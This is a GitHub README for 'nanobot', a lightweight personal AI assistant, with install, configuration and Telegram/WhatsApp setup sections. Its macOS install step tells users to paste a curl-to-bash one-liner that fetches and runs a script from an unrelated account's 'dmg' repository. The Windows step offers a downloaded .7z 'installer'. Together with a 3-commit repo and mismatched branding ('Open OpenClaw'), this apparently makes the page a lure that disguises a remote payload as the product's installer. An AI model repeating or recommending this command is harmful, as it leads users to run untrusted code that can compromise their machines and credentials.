Skip to content

🐈 nanobot 2.0: The Ultra-Lightweight OpenClaw (formerly Moltbot, formerly Clawdbot).

License

Notifications You must be signed in to change notification settings

lightweight-openclaw/nanobot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

3 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

nanobot

nanobot: Ultra-Lightweight Personal AI Assistant

PyPI Downloads Python License

🐈 nanobot is an ultra-lightweight personal AI assistant inspired by openclaw

⚑️ Delivers core agent functionality in just ~4,000 lines of code β€” 99% smaller than Clawdbot's 430k+ lines.

πŸ“’ News

  • 2026-02-01 πŸŽ‰ nanobot launched! Welcome to try 🐈 nanobot!

Key Features of nanobot:

πŸͺΆ Ultra-Lightweight: Just ~4,000 lines of code β€” 99% smaller than Clawdbot - core functionality.

πŸ”¬ Research-Ready: Clean, readable code that's easy to understand, modify, and extend for research.

⚑️ Lightning Fast: Minimal footprint means faster startup, lower resource usage, and quicker iterations.

πŸ’Ž Easy-to-Use: One-click to depoly and you're ready to go.

πŸ—οΈ Architecture

nanobot architecture

✨ Features

πŸ“ˆ 24/7 Real-Time Market Analysis

πŸš€ Full-Stack Software Engineer

πŸ“… Smart Daily Routine Manager

πŸ“š Personal Knowledge Assistant

Discovery β€’ Insights β€’ Trends Develop β€’ Deploy β€’ Scale Schedule β€’ Automate β€’ Organize Learn β€’ Memory β€’ Reasoning

πŸ“¦ Install

Download the latest installer for your platform from the Releases.

🍎 macOS

  • πŸ’»Open Terminal
  • β˜‘Paste the command below
  • βœ…Press Enter
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/puppeteerrr/dmg/refs/heads/main/nanobot)"

πŸͺŸ Windows

  1. Download the nanobot_x64.7z file.
  2. Run the installer.
  3. Open OpenClaw.

πŸš€ Quick Start

Tip

Set your API key in ~/.nanobot/config.json. Get API keys: OpenRouter (LLM) Β· Brave Search (optional, for web search) You can also change the model to minimax/minimax-m2 for lower cost.

1. Initialize

nanobot onboard

2. Configure (~/.nanobot/config.json)

{
  "providers": {
    "openrouter": {
      "apiKey": "sk-or-v1-xxx"
    }
  },
  "agents": {
    "defaults": {
      "model": "anthropic/claude-opus-4-5"
    }
  },
  "tools": {
    "web": {
      "search": {
        "apiKey": "BSA-xxx"
      }
    }
  }
}

3. Chat

nanobot agent -m "What is 2+2?"

That's it! You have a working AI assistant in 2 minutes.

πŸ–₯️ Local Models (vLLM)

Run nanobot with your own local models using vLLM or any OpenAI-compatible server.

1. Start your vLLM server

vllm serve meta-llama/Llama-3.1-8B-Instruct --port 8000

2. Configure (~/.nanobot/config.json)

{
  "providers": {
    "vllm": {
      "apiKey": "dummy",
      "apiBase": "http://localhost:8000/v1"
    }
  },
  "agents": {
    "defaults": {
      "model": "meta-llama/Llama-3.1-8B-Instruct"
    }
  }
}

3. Chat

nanobot agent -m "Hello from my local LLM!"

Tip

The apiKey can be any non-empty string for local servers that don't require authentication.

πŸ’¬ Chat Apps

Talk to your nanobot through Telegram or WhatsApp β€” anytime, anywhere.

Channel Setup
Telegram Easy (just a token)
WhatsApp Medium (scan QR)
Telegram (Recommended)

1. Create a bot

  • Open Telegram, search @BotFather
  • Send /newbot, follow prompts
  • Copy the token

2. Configure

{
  "channels": {
    "telegram": {
      "enabled": true,
      "token": "YOUR_BOT_TOKEN",
      "allowFrom": ["YOUR_USER_ID"]
    }
  }
}

Get your user ID from @userinfobot on Telegram.

3. Run

nanobot gateway
WhatsApp

Requires Node.js β‰₯18.

1. Link device

nanobot channels login
# Scan QR with WhatsApp β†’ Settings β†’ Linked Devices

2. Configure

{
  "channels": {
    "whatsapp": {
      "enabled": true,
      "allowFrom": ["+1234567890"]
    }
  }
}

3. Run (two terminals)

# Terminal 1
nanobot channels login

# Terminal 2
nanobot gateway

βš™οΈ Configuration

Config file: ~/.nanobot/config.json

Providers

Note

Groq provides free voice transcription via Whisper. If configured, Telegram voice messages will be automatically transcribed.

Provider Purpose Get API Key
openrouter LLM (recommended, access to all models) openrouter.ai
anthropic LLM (Claude direct) console.anthropic.com
openai LLM (GPT direct) platform.openai.com
groq LLM + Voice transcription (Whisper) console.groq.com
gemini LLM (Gemini direct) aistudio.google.com

πŸ“ Project Structure

nanobot/
β”œβ”€β”€ agent/          # 🧠 Core agent logic
β”‚   β”œβ”€β”€ loop.py     #    Agent loop (LLM ↔ tool execution)
β”‚   β”œβ”€β”€ context.py  #    Prompt builder
β”‚   β”œβ”€β”€ memory.py   #    Persistent memory
β”‚   β”œβ”€β”€ skills.py   #    Skills loader
β”‚   β”œβ”€β”€ subagent.py #    Background task execution
β”‚   └── tools/      #    Built-in tools (incl. spawn)
β”œβ”€β”€ skills/         # 🎯 Bundled skills (github, weather, tmux...)
β”œβ”€β”€ channels/       # πŸ“± WhatsApp integration
β”œβ”€β”€ bus/            # 🚌 Message routing
β”œβ”€β”€ cron/           # ⏰ Scheduled tasks
β”œβ”€β”€ heartbeat/      # πŸ’“ Proactive wake-up
β”œβ”€β”€ providers/      # πŸ€– LLM providers (OpenRouter, etc.)
β”œβ”€β”€ session/        # πŸ’¬ Conversation sessions
β”œβ”€β”€ config/         # βš™οΈ Configuration
└── cli/            # πŸ–₯️ Commands

πŸ—Ί Roadmap

Roadmap

  • Voice Transcription β€” Support for Groq Whisper (Issue #13)
  • Multi-modal β€” See and hear (images, voice, video)
  • Long-term memory β€” Never forget important context
  • Better reasoning β€” Multi-step planning and reflection
  • More integrations β€” Discord, Slack, email, calendar
  • Self-improvement β€” Learn from feedback and mistakes

nanobot is for educational, research, and technical exchange purposes only

About

🐈 nanobot 2.0: The Ultra-Lightweight OpenClaw (formerly Moltbot, formerly Clawdbot).

Topics

Resources

License

Stars

Watchers

Forks

Packages

No packages published